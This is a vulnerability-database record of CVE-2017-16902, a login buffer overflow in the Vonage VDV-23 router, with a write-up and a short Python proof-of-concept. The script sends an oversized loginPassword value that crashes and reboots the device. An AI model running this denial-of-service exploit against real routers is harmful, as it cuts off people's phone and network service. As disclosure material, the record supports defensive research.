ID
VAR-E-201711-0245
CVE
| cve_id: | CVE-2017-16902 | Trust: 1.0 |
EDB ID
43164
TITLE
Vonage VDV-23 - Denial of Service - Hardware dos Exploit
Trust: 0.6
DESCRIPTION
Vonage VDV-23 - Denial of Service. CVE-2017-16902 . dos exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | vonage | model: | vdv-23 | scope: | - | version: | - | Trust: 1.6 |
EXPLOIT
Overview
During an evaluation of the Vonage home phone router, it was identified that the loginUsername and loginPassword parameters were vulnerable to a buffer overflow. This overflow caused the router to crash and reboot. Further analysis will be performed to find out if the the crash is controllable and allow for full remote code execution.
Device Description:
1 port residential gateway
Hardware Version:
VDV-23: 115
Original Software Version:
3.2.11-0.9.40
Exploitation Writeup
This exploit was a simple buffer overflow. The use of spike fuzzer took place to identify the crash condition. When the application crashes, the router reboots causing a denial of service condition. The script below was further weaponized to sleep for a 60 second period while the device rebooted then continue one execution after another.
Proof of concept code:
The code below was used to exploit the application. This testing was only performed against denial of service conditions. The crash that was experienced potentially holds the ability to allow remote code execution. Further research will be performed against the device.
DOSTest.py
import requests
passw = 'A' * 10580
post_data = {'loginUsername':'router', 'loginPassword':passw, 'x':'0', 'y':'0'}
post_response = requests.post(url='http://192.168.15.1/goform/login', data=post_data)
Trust: 1.0
EXPLOIT LANGUAGE
py
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Denial of Service
Trust: 1.6
CREDITS
Nu11By73
Trust: 0.6
EXTERNAL IDS
| db: | EXPLOIT-DB | id: | 43164 | Trust: 1.6 |
| db: | NVD | id: | CVE-2017-16902 | Trust: 1.0 |
| db: | EDBNET | id: | 95104 | Trust: 0.6 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2017-16902 | Trust: 1.0 |
| url: | https://www.exploit-db.com/exploits/43164/ | Trust: 0.6 |
SOURCES
| db: | EXPLOIT-DB | id: | 43164 |
| db: | EDBNET | id: | 95104 |
LAST UPDATE DATE
2022-07-27T09:51:38.408000+00:00
SOURCES RELEASE DATE
| db: | EXPLOIT-DB | id: | 43164 | date: | 2017-11-21T00:00:00 |
| db: | EDBNET | id: | 95104 | date: | 2017-11-22T00:00:00 |